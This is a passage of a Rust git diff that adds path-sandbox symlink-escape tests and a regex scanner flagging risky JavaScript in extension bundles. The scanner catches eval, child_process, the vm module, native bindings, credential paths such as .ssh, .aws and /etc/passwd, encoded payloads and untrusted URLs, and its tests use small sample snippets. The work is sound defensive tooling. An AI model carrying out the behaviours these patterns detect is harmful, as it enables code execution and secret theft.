std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); + std::fs::write(&entry, "export {}").expect("write"); + std::fs::create_dir_all(root.path().join("extensions/bar")).expect("mkdir sibling"); + + let (ext_dir, source) = + resolve_extension_paths(root.path(), "Foo/Bar", "src/index.ts", "Nested").expect("ok"); + assert!(source.is_file()); + assert_eq!( + std::fs::canonicalize(&ext_dir).expect("ext dir"), + std::fs::canonicalize(root.path().join("extensions/foo/bar")).expect("nested"), + ); + } + + #[cfg(unix)] + #[test] + fn resolve_extension_paths_rejects_source_symlink_escaping_extension_dir() { + let root = tempfile::tempdir().expect("temp root"); + let ext_src = root.path().join("extensions/widget/src"); + std::fs::create_dir_all(&ext_src).expect("mkdir"); + let secret = root.path().join("secret.env"); + std::fs::write(&secret, "password").expect("write secret"); + std::os::unix::fs::symlink(&secret, ext_src.join("index.ts")).expect("symlink"); + + let err = resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget") + .expect_err("symlink escape"); + assert!( + err.contains("Invalid extension source path for 'Widget'"), + "unexpected: {err}" + ); + } + + #[cfg(unix)] + #[test] + fn resolve_extension_paths_rejects_extension_dir_symlink_escaping_extensions() { + let root = tempfile::tempdir().expect("temp root"); + std::fs::create_dir_all(root.path().join("extensions")).expect("mkdir"); + let outside = root.path().join("outside"); + std::fs::create_dir_all(&outside).expect("mkdir outside"); + std::os::unix::fs::symlink(&outside, root.path().join("extensions/widget")) + .expect("symlink"); + + let err = resolve_extension_paths(root.path(), "widget", "src/index.ts", "Widget") + .expect_err("dir symlink escape"); + assert!( + err.contains("Invalid extension handle path"), + "unexpected: {err}" + ); + } + + /// On case-sensitive volumes, a symlink into a differently cased sibling + /// (`EXTENSIONS` vs `extensions`) must not pass the realpath sandbox. + #[cfg(unix)] + #[test] + fn enforce_sandbox_realpath_rejects_differently_cased_sibling_after_canonicalize() { + let root = tempfile::tempdir().expect("temp root"); + let lower = root.path().join("extensions"); + let upper = root.path().join("EXTENSIONS"); + std::fs::create_dir_all(&lower).expect("mkdir lower"); + if std::fs::create_dir(&upper).is_err() { + // Case-insensitive volume — both names are the same directory. + return; + } + let lower_canon = std::fs::canonicalize(&lower).expect("canon lower"); + let upper_canon = std::fs::canonicalize(&upper).expect("canon upper"); + if lower_canon == upper_canon { + return; + } + + std::fs::write(upper.join("secret.ts"), "leak").expect("write"); + let link = lower.join("widget"); + std::os::unix::fs::symlink(&upper, &link).expect("symlink"); + + let err = enforce_sandbox_realpath(&lower, &link, || "escaped".into()) + .expect_err("case-variant sibling must not count as inside"); + assert_eq!(err, "escaped"); + } + + #[test] + fn normalize_extension_source_strips_to_handle_relative() { + let root = tempfile::tempdir().expect("temp root"); + let entry = root.path().join("extensions/widget/src/index.ts"); + std::fs::create_dir_all(entry.parent().expect("parent")).expect("mkdir"); + std::fs::write(&entry, "export {}").expect("write"); + + let from_handle_rel = + normalize_extension_source_for_config(root.path(), "widget", "src/index.ts", "Widget") + .expect("ok"); + assert_eq!(from_handle_rel, "src/index.ts"); + + let from_repo_rel = normalize_extension_source_for_config( + root.path(), + "widget", + "extensions/widget/src/index.ts", + "Widget", + ) + .expect("ok"); + assert_eq!(from_repo_rel, "src/index.ts"); + } + + #[test] + fn normalize_extension_source_requires_existing_file() { + let root = tempfile::tempdir().expect("temp root"); + let err = normalize_extension_source_for_config( + root.path(), + "widget", + "src/missing.ts", + "Widget", + ) + .expect_err("missing file"); + assert!( + err.contains("Extension source file not found for 'Widget'"), + "unexpected: {err}" + ); + } +} diff --git a/rust/src/extension/security/mod.rs b/rust/src/extension/security/mod.rs new file mode 100644 index 0000000..c76aff0 --- /dev/null +++ b/rust/src/extension/security/mod.rs @@ -0,0 +1,289 @@ +use std::sync::OnceLock; + +use super::types::{Finding, Severity}; + +mod rules; +#[cfg(test)] +mod tests_sec101_108; +#[cfg(test)] +mod tests_sec109_115; + +use rules::RULE_DEFS; + +struct CompiledRule { + id: &'static str, + severity: Severity, + description: &'static str, + patterns: Vec, + signal_patterns: Vec, +} + +static COMPILED: OnceLock> = OnceLock::new(); + +fn compiled_rules() -> &'static [CompiledRule] { + COMPILED.get_or_init(|| { + RULE_DEFS + .iter() + .map(|def| CompiledRule { + id: def.id, + severity: def.severity, + description: def.description, + patterns: def + .patterns + .iter() + .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle rule pattern")) + .collect(), + signal_patterns: def + .signal_patterns + .iter() + .map(|p| fancy_regex::Regex::new(p).expect("invalid bundle signal pattern")) + .collect(), + }) + .collect() + }) +} + +// --------------------------------------------------------------------------- +// Scanner helpers +// --------------------------------------------------------------------------- + +fn line_number(content: &str, byte_offset: usize) -> usize { + content[..byte_offset] + .bytes() + .filter(|&b| b == b'\n') + .count() + + 1 +} + +fn extract_snippet(content: &str, byte_offset: usize) -> String { + let line_start = content[..byte_offset].rfind('\n').map_or(0, |i| i + 1); + let line_end = content[byte_offset..] + .find('\n') + .map_or(content.len(), |i| byte_offset + i); + let line = &content[line_start..line_end]; + let pos = byte_offset - line_start; + let ctx = 25_usize; + let start = pos.saturating_sub(ctx); + let end = (pos + ctx).min(line.len()); + line[start..end].trim().to_owned() +} + +// --------------------------------------------------------------------------- +// Public scanner API +// --------------------------------------------------------------------------- + +pub fn scan_bundle(content: &str, file_path: &str) -> Vec { + let mut findings = Vec::new(); + + for rule in compiled_rules() { + if !rule.signal_patterns.is_empty() { + let signal_found = rule + .signal_patterns + .iter() + .any(|re| re.is_match(content).unwrap_or(false)); + if !signal_found { + continue; + } + for re in rule.signal_patterns.iter().chain(rule.patterns.iter()) { + for m in re.find_iter(content).filter_map(|m| m.ok()) { + findings.push(Finding { + rule_id: rule.id, + severity: rule.severity, + message: rule.description, + file: file_path.to_owned(), + line: line_number(content, m.start()), + snippet: extract_snippet(content, m.start()), + }); + } + } + } else { + for re in &rule.patterns { + for m in re.find_iter(content).filter_map(|m| m.ok()) { + findings.push(Finding { + rule_id: rule.id, + severity: rule.severity, + message: rule.description, + file: file_path.to_owned(), + line: line_number(content, m.start()), + snippet: extract_snippet(content, m.start()), + }); + } + } + } + } + + findings.sort_by_key(|f| f.line); + findings +} + +pub fn is_blocked(findings: &[Finding]) -> bool { + findings.iter().any(|f| f.severity == Severity::Block) +} + +// --------------------------------------------------------------------------- +// Tests: line_number/extract_snippet/is_blocked/scan_bundle core behavior. +// Per-rule detection tests live in tests_sec101_108.rs / tests_sec109_115.rs +// — split purely to stay under the file-size limit (docs/code-structure.md). +// --------------------------------------------------------------------------- + +#[cfg(test)] +mod tests { + use super::*; + + // ----------------------------------------------------------------------- + // line_number helper + // ----------------------------------------------------------------------- + + #[test] + fn line_number_first_line_start() { + assert_eq!(line_number("hello", 0), 1); + } + + #[test] + fn line_number_first_line_end() { + assert_eq!(line_number("hello", 4), 1); + } + + #[test] + fn line_number_second_line() { + let s = "line1\nline2"; + assert_eq!(line_number(s, 6), 2); + } + + #[test] + fn line_number_third_line() { + let s = "a\nb\nc"; + assert_eq!(line_number(s, 4), 3); + } + + #[test] + fn line_number_at_newline_char() { + let s = "a\nb"; + assert_eq!(line_number(s, 1), 1); + } + + #[test] + fn line_number_crlf_counts_only_lf() { + let s = "line1\r\nline2"; + assert_eq!(line_number(s, 7), 2); + } + + #[test] + fn line_number_empty_offset() { + assert_eq!(line_number("", 0), 1); + } + + // ----------------------------------------------------------------------- + // extract_snippet helper + // ----------------------------------------------------------------------- + + #[test] + fn extract_snippet_short_line() { + let s = r#"const x = eval("bad");"#; + let snip = extract_snippet(s, 10); + assert!(snip.contains("eval"), "snippet: {snip}"); + } + + #[test] + fn extract_snippet_truncates_long_line() { + let long = format!("{}MATCH{}", "a".repeat(40), "b".repeat(40)); + let pos = 40; + let snip = extract_snippet(&long, pos); + assert!(snip.contains("MATCH"), "snippet: {snip}"); + assert!(snip.len() <= 60, "snippet too long: {snip}"); + } + + #[test] + fn extract_snippet_does_not_cross_newlines() { + let s = "line1\neval(\"bad\")\nline3"; + let snip = extract_snippet(s, 6); + assert!(snip.contains("eval"), "snippet: {snip}"); + assert!(!snip.contains("line1"), "leaked into prev line: {snip}"); + assert!(!snip.contains("line3"), "leaked into next line: {snip}"); + } + + #[test] + fn extract_snippet_at_file_start() { + let s = "eval(\"x\") + 1"; + let snip = extract_snippet(s, 0); + assert!(snip.contains("eval"), "snippet: {snip}"); + } + + // ----------------------------------------------------------------------- + // is_blocked + // ----------------------------------------------------------------------- + + #[test] + fn is_blocked_empty_findings() { + assert!(!is_blocked(&[])); + } + + #[test] + fn is_blocked_warn_only_returns_false() { + let findings = vec![Finding { + rule_id: "SEC108", + severity: Severity::Warn, + message: "test", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }]; + assert!(!is_blocked(&findings)); + } + + #[test] + fn is_blocked_block_finding_returns_true() { + let findings = vec![Finding { + rule_id: "SEC101", + severity: Severity::Block, + message: "test", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }]; + assert!(is_blocked(&findings)); + } + + #[test] + fn is_blocked_mixed_returns_true() { + let findings = vec![ + Finding { + rule_id: "SEC108", + severity: Severity::Warn, + message: "warn", + file: "f.mjs".to_owned(), + line: 1, + snippet: String::new(), + }, + Finding { + rule_id: "SEC101", + severity: Severity::Block, + message: "block", + file: "f.mjs".to_owned(), + line: 2, + snippet: String::new(), + }, + ]; + assert!(is_blocked(&findings)); + } + + // ----------------------------------------------------------------------- + // scan_bundle: general + // ----------------------------------------------------------------------- + + #[test] + fn scan_clean_content_no_findings() { + let findings = scan_bundle("const x = 1 + 2;\nconsole.log(x);\n", "clean.mjs"); + assert!(findings.is_empty(), "expected no findings: {findings:?}"); + } + + #[test] + fn scan_results_sorted_by_line() { + let content = "eval(\"first\");\nclean;\neval(\"second\");"; + let findings = scan_bundle(content, "test.mjs"); + let lines: Vec = findings.iter().map(|f| f.line).collect(); + let mut sorted = lines.clone(); + sorted.sort_unstable(); + assert_eq!(lines, sorted, "findings not sorted by line"); + } +} diff --git a/rust/src/extension/security/rules.rs b/rust/src/extension/security/rules.rs new file mode 100644 index 0000000..eb0a1d1 --- /dev/null +++ b/rust/src/extension/security/rules.rs @@ -0,0 +1,264 @@ +//! SEC101–SEC115 rule data. +//! Ported from src/core/security/rules/bundle/ in the TypeScript CLI. + +use crate::extension::types::Severity; + +pub(super) struct RuleDef { + pub(super) id: &'static str, + pub(super) severity: Severity, + pub(super) description: &'static str, + /// Main detection patterns. + pub(super) patterns: &'static [&'static str], + /// Two-pass signal patterns: if non-empty and none match, skip this rule. + pub(super) signal_patterns: &'static [&'static str], +} + +pub(super) static RULE_DEFS: &[RuleDef] = &[ + // SEC101 — eval / Function constructor + RuleDef { + id: "SEC101", + severity: Severity::Block, + description: "Bundled code contains eval() or Function constructor which can execute arbitrary code", + signal_patterns: &[], + patterns: &[ + r#"(?m)(?:^|[^\w$])eval\s*\("#, + r#"(?m)(?:^|[^\w$])new\s+Function\s*\("#, + r#"(?:globalThis|window|self)\.eval\s*\("#, + r#"(?:globalThis|window|self)\[['"]eval['"]\]\s*\("#, + r#"\[['"]eval['"]\]\s*\("#, + r#"\[['"]Function['"]\]\s*\("#, + r#"(?:eval|Function|setTimeout|setInterval)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\))"#, + r#"eval\s*\(\s*['"\x60](?:\\x[0-9A-Fa-f]{2}){8,}['"\x60]\s*\)"#, + ], + }, + // SEC102 — child_process (two-pass) + RuleDef { + id: "SEC102", + severity: Severity::Block, + description: "Bundled code imports and uses child_process module which can execute shell commands", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"from\s*['"](?:node:)?child_process['"]"#, + r#"import\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"require_child_process\s*\("#, + r#"__require\s*\(\s*['"]child_process['"]\s*\)"#, + r#"\b[a-z]\s*\(\s*['"](?:node:)?child_process['"]\s*\)"#, + r#"require\s*\(\s*['"](?:node:)?child['"]\s*\+\s*['"]_?process['"]\s*\)"#, + r#"(?:require|import)\s*\(\s*(?:atob\([^)]*\)|Buffer\.from\([^,]+,\s*['"\x60]base64['"\x60]\)\.toString\(\))"#, + ], + patterns: &[ + r#"\bexec\s*\("#, + r#"\bexecSync\s*\("#, + r#"\bexecFile\s*\("#, + r#"\bexecFileSync\s*\("#, + r#"\bspawn\s*\("#, + r#"\bspawnSync\s*\("#, + r#"\bfork\s*\("#, + ], + }, + // SEC103 — vm module (two-pass) + RuleDef { + id: "SEC103", + severity: Severity::Block, + description: "Bundled code imports and uses vm module which enables arbitrary code execution", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, + r#"from\s*['"](?:node:)?vm['"]"#, + r#"import\s*\(\s*['"](?:node:)?vm['"]\s*\)"#, + r#"require_vm\s*\("#, + r#"__require\s*\(\s*['"]vm['"]\s*\)"#, + ], + patterns: &[ + r#"\bScript\s*\("#, + r#"\.runInNewContext\s*\("#, + r#"\.runInContext\s*\("#, + r#"\.runInThisContext\s*\("#, + r#"\.createContext\s*\("#, + ], + }, + // SEC104 — process.binding / dlopen + RuleDef { + id: "SEC104", + severity: Severity::Block, + description: "Bundled code accesses Node.js internal bindings which can bypass security", + signal_patterns: &[], + patterns: &[ + r#"process\.binding\s*\("#, + r#"process\._linkedBinding\s*\("#, + r#"process\.dlopen\s*\("#, + r#"internalBinding\s*\("#, + r#"process\[['"]binding['"]\]\s*\("#, + r#"process\[['"]_linkedBinding['"]\]\s*\("#, + r#"process\[['"]dlopen['"]\]\s*\("#, + ], + }, + // SEC105 — native addons (two-pass) + RuleDef { + id: "SEC105", + severity: Severity::Block, + description: "Bundled code loads native addons which can bypass Node.js security", + signal_patterns: &[ + r#"require\s*\(\s*['"]bindings['"]\s*\)"#, + r#"require\s*\(\s*['"]node-gyp['"]\s*\)"#, + r#"require\s*\(\s*['"]ffi-napi['"]\s*\)"#, + r#"require\s*\(\s*['"]node-addon-api['"]\s*\)"#, + r#"from\s*['"]bindings['"]"#, + r#"from\s*['"]ffi-napi['"]"#, + r#"require_bindings\s*\("#, + ], + patterns: &[ + r#"['"]\.node['"]"#, + r#"\.node['"]\s*\)"#, + r#"process\.dlopen\s*\("#, + ], + }, + // SEC106 — module monkey-patching (two-pass) + RuleDef { + id: "SEC106", + severity: Severity::Block, + description: "Bundled code modifies module system internals which can hijack dependencies", + signal_patterns: &[ + r#"require\s*\(\s*['"]module['"]\s*\)"#, + r#"from\s*['"]module['"]"#, + r#"require_module\s*\("#, + ], + patterns: &[ + r#"Module\._load\s*="#, + r#"Module\._resolveFilename\s*="#, + r#"Module\._extensions\["#, + r#"require\.cache\s*\["#, + r#"delete\s+require\.cache"#, + r#"Module\[['"]_load['"]\]\s*="#, + r#"Module\[['"]_resolveFilename['"]\]\s*="#, + ], + }, + // SEC107 — inspector module (two-pass) + RuleDef { + id: "SEC107", + severity: Severity::Block, + description: "Bundled code uses inspector module which can enable remote debugging access", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, + r#"from\s*['"](?:node:)?inspector['"]"#, + r#"import\s*\(\s*['"](?:node:)?inspector['"]\s*\)"#, + r#"require_inspector\s*\("#, + ], + patterns: &[ + r#"inspector\.open\s*\("#, + r#"inspector\.url\s*\("#, + r#"inspector\.waitForDebugger\s*\("#, + r#"inspector\[['"]open['"]\]\s*\("#, + ], + }, + // SEC108 — external URLs (two-pass, warn) + RuleDef { + id: "SEC108", + severity: Severity::Warn, + description: "Bundled code contains HTTP(S) URLs to external domains", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?https?['"]\s*\)"#, + r#"from\s*['"](?:node:)?https?['"]"#, + r#"require\s*\(\s*['"]axios['"]\s*\)"#, + r#"from\s*['"]axios['"]"#, + ], + patterns: &[ + r#"https?://[^\s"'\x60<>]+"#, + r#"new\s+URL\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, + r#"fetch\s*\(\s*['"]https?:[^'"]+['"]\s*\)"#, + ], + }, + // SEC109 — large encoded blobs (warn) + RuleDef { + id: "SEC109", + severity: Severity::Warn, + description: "Bundled code contains large base64/hex encoded data that could hide malicious payloads", + signal_patterns: &[], + patterns: &[ + r#"Buffer\.from\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*,\s*['"]base64['"]\s*\)"#, + r#"atob\s*\(\s*['"][A-Za-z0-9+/]{200,}={0,2}['"]\s*\)"#, + r#"Buffer\.from\s*\(\s*['"][A-Fa-f0-9]{400,}['"]\s*,\s*['"]hex['"]\s*\)"#, + ], + }, + // SEC110 — sensitive fs/net/env ops (two-pass, warn) + RuleDef { + id: "SEC110", + severity: Severity::Warn, + description: "Bundled code accesses sensitive paths, environment variables, or network APIs", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?net['"]\s*\)"#, + r#"from\s*['"](?:node:)?net['"]"#, + r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs['"]"#, + ], + patterns: &[ + r#"net\.connect\s*\("#, + r#"net\.createConnection\s*\("#, + r#"process\.env\["#, + r#"process\.env\."#, + r#"['"]/(etc/passwd|etc/shadow|\.ssh/|\.aws/)"#, + r#"['"]~/\.ssh/"#, + r#"fs\.readFile(?:Sync)?\s*\(\s*['"][^'"]*\.env['"]"#, + ], + }, + // SEC111 — destructive fs operations (two-pass, block) + RuleDef { + id: "SEC111", + severity: Severity::Block, + description: "Bundled code performs destructive filesystem operations (unlink/rm/rmdir)", + signal_patterns: &[ + r#"require\s*\(\s*['"](?:node:)?fs['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs['"]"#, + r#"require\s*\(\s*['"](?:node:)?fs/promises['"]\s*\)"#, + r#"from\s*['"](?:node:)?fs/promises['"]"#, + r#"require_fs\s*\("#, + ], + patterns: &[ + r#"\bunlink\s*\("#, + r#"\bunlinkSync\s*\("#, + r#"\brmdir\s*\("#, + r#"\brmdirSync\s*\("#, + r#"\brm\s*\("#, + r#"\brmSync\s*\("#, + ], + }, + // SEC112 — requests to untrusted domains (no signal, block) + RuleDef { + id: "SEC112", + severity: Severity::Block, + description: "Bundled code makes requests to domains outside the GoDaddy trusted allowlist", + signal_patterns: &[], + patterns: &[ + r#"https?://(?!(?:(?:[a-zA-Z0-9-]+\.)*godaddy\.com|localhost|127\.0\.0\.1)(?:[:/?#\s]|$))[^\s"'\x60<>]+"#, + ], + }, + // SEC113 — any encoded payload (no signal, block) + RuleDef { + id: "SEC113", + severity: Severity::Block, + description: "Bundled code uses base64/hex encoding that could conceal malicious payloads", + signal_patterns: &[], + patterns: &[ + r#"\batob\s*\("#, + r#"Buffer\.from\s*\(\s*['"][^'"]+['"]\s*,\s*['"](?:base64|hex)['"]"#, + ], + }, + // SEC114 — debugger statement (no signal, block) + RuleDef { + id: "SEC114", + severity: Severity::Block, + description: "Bundled code contains a debugger statement which enables remote debugging access", + signal_patterns: &[], + patterns: &[r#"\bdebugger\b"#], + }, + // SEC115 — dynamic require/import (no signal, block) + RuleDef { + id: "SEC115", + severity: Severity::Block, + description: "Bundled code uses dynamic require() or import() with non-literal arguments", + signal_patterns: &[], + patterns: &[ + r#"\brequire\s*\(\s*(?!['"\x60])"#, + r#"\bimport\s*\(\s*(?!['"\x60])"#, + ], + }, +]; diff --git a/rust/src/extension/security/tests_sec101_108.rs b/rust/src/extension/security/tests_sec101_108.rs new file mode 100644 index 0000000..c46bd6f --- /dev/null +++ b/rust/src/extension/security/tests_sec101_108.rs @@ -0,0 +1,561 @@ +//! SEC101–SEC108 detection tests. Split from a single combined test module +//! purely to stay under the file-size limit — see docs/code-structure.md. + +use super::{is_blocked, scan_bundle}; + +// ----------------------------------------------------------------------- +// SEC101 — eval / Function constructor +// ----------------------------------------------------------------------- + +#[test] +fn sec101_eval_call() { + let findings = scan_bundle(r#"const x = eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec101_eval_with_whitespace() { + let findings = scan_bundle(r#"x = eval ( "code" );"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_new_function_constructor() { + let findings = scan_bundle(r#"const f = new Function("return 1");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec101_bracket_function_constructor() { + let findings = scan_bundle(r#"const f = ["Function"]("return 1");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_globalthis_eval() { + let findings = scan_bundle(r#"globalThis.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_globalthis_bracket_eval() { + let findings = scan_bundle(r#"globalThis["eval"]("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_window_eval() { + let findings = scan_bundle(r#"window.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_self_eval() { + let findings = scan_bundle(r#"self.eval("code");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_eval_atob() { + let findings = scan_bundle(r#"eval(atob("aGVsbG8="));"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_eval_buffer_base64() { + let findings = scan_bundle(r#"eval(Buffer.from("aGVsbG8=", "base64"));"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC101"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec101_no_match_evaluation_variable() { + let findings = scan_bundle(r#"const evaluation = "test";"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC101"), + "unexpected SEC101: {findings:?}" + ); +} + +#[test] +fn sec101_no_match_word_boundary() { + let findings = scan_bundle(r#"function fooeval(x) { return x; }"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC101"), + "unexpected SEC101: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC102 — child_process (two-pass) +// ----------------------------------------------------------------------- + +#[test] +fn sec102_require_child_process_with_exec() { + let content = r#"var cp = require("child_process"); cp.exec("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec102_require_node_child_process_with_spawn() { + let content = r#"var cp = require("node:child_process"); cp.spawn("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec102_esm_import_with_exec() { + let content = r#"import { exec } from "child_process"; exec("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec102_dynamic_import_with_spawn() { + let content = r#"const cp = await import("child_process"); cp.spawn("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec102_bundler_helper_with_execsync() { + let content = r#"var cp = require_child_process(); cp.execSync("ls");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec102_fork_detected() { + let content = r#"var cp = require("child_process"); cp.fork("worker.js");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC102"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec102_exec_without_import_no_match() { + let findings = scan_bundle(r#"const r = exec("ls");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC102"), + "SEC102 should not fire without import: {findings:?}" + ); +} + +#[test] +fn sec102_no_signal_skips_rule() { + let findings = scan_bundle(r#"function fork() { return 1; }"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC102"), + "SEC102 should not fire without import signal: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC103 — vm module (two-pass) +// ----------------------------------------------------------------------- + +#[test] +fn sec103_require_vm_with_script() { + let content = r#"var vm = require("vm"); new vm.Script("code");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec103_require_node_vm_with_run() { + let content = r#"var vm = require("node:vm"); vm.runInNewContext("1+1", {});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec103_esm_import_vm_with_run_in_this_context() { + let content = r#"import * as vm from "vm"; vm.runInThisContext("1+1");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec103_run_in_context() { + let content = r#"var vm = require("vm"); ctx.runInContext("code");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec103_create_context() { + let content = r#"var vm = require("vm"); vm.createContext({});"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC103"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec103_no_signal_skips_rule() { + let findings = scan_bundle(r#"ctx.runInNewContext("1+1", {});"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC103"), + "SEC103 should not fire without vm import: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC104 — process.binding / dlopen (no signal required) +// ----------------------------------------------------------------------- + +#[test] +fn sec104_process_binding() { + let findings = scan_bundle(r#"process.binding("fs");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec104_process_linked_binding() { + let findings = scan_bundle(r#"process._linkedBinding("crypto");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec104_process_dlopen() { + let findings = scan_bundle(r#"process.dlopen(module, "binding.node");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec104_internal_binding() { + let findings = scan_bundle(r#"const b = internalBinding("crypto");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec104_bracket_binding() { + let findings = scan_bundle(r#"process["binding"]("fs");"#, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC104"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec104_no_match_process_env() { + let findings = scan_bundle(r#"const val = process.env.KEY;"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC104"), + "unexpected SEC104: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC105 — native addons (two-pass) +// ----------------------------------------------------------------------- + +#[test] +fn sec105_require_bindings_with_dot_node() { + let content = r#"var b = require("bindings"); b("native.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec105_require_ffi_napi_with_dot_node() { + let content = r#"var ffi = require("ffi-napi"); ffi.Library("lib.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec105_import_bindings_with_dot_node() { + let content = r#"import bindings from "bindings"; const x = bindings("mod.node");"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC105"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec105_no_signal_skips_rule() { + let findings = scan_bundle(r#"require("./addon.node");"#, "test.mjs"); + assert!( + findings.iter().all(|f| f.rule_id != "SEC105"), + "SEC105 should not fire without signal: {findings:?}" + ); +} + +// ----------------------------------------------------------------------- +// SEC106 — module monkey-patching (two-pass) +// ----------------------------------------------------------------------- + +#[test] +fn sec106_require_module_with_load_override() { + let content = r#"var Module = require("module"); Module._load = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); + assert!(is_blocked(&findings)); +} + +#[test] +fn sec106_import_module_with_resolve_override() { + let content = r#"import Module from "module"; Module._resolveFilename = function() {};"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); +} + +#[test] +fn sec106_require_cache_assignment() { + let content = r#"var Module = require("module"); require.cache["key"] = null;"#; + let findings = scan_bundle(content, "test.mjs"); + assert!( + findings.iter().any(|f| f.rule_id == "SEC106"), + "findings: {findings:?}" + ); +} + +#[test] +fn 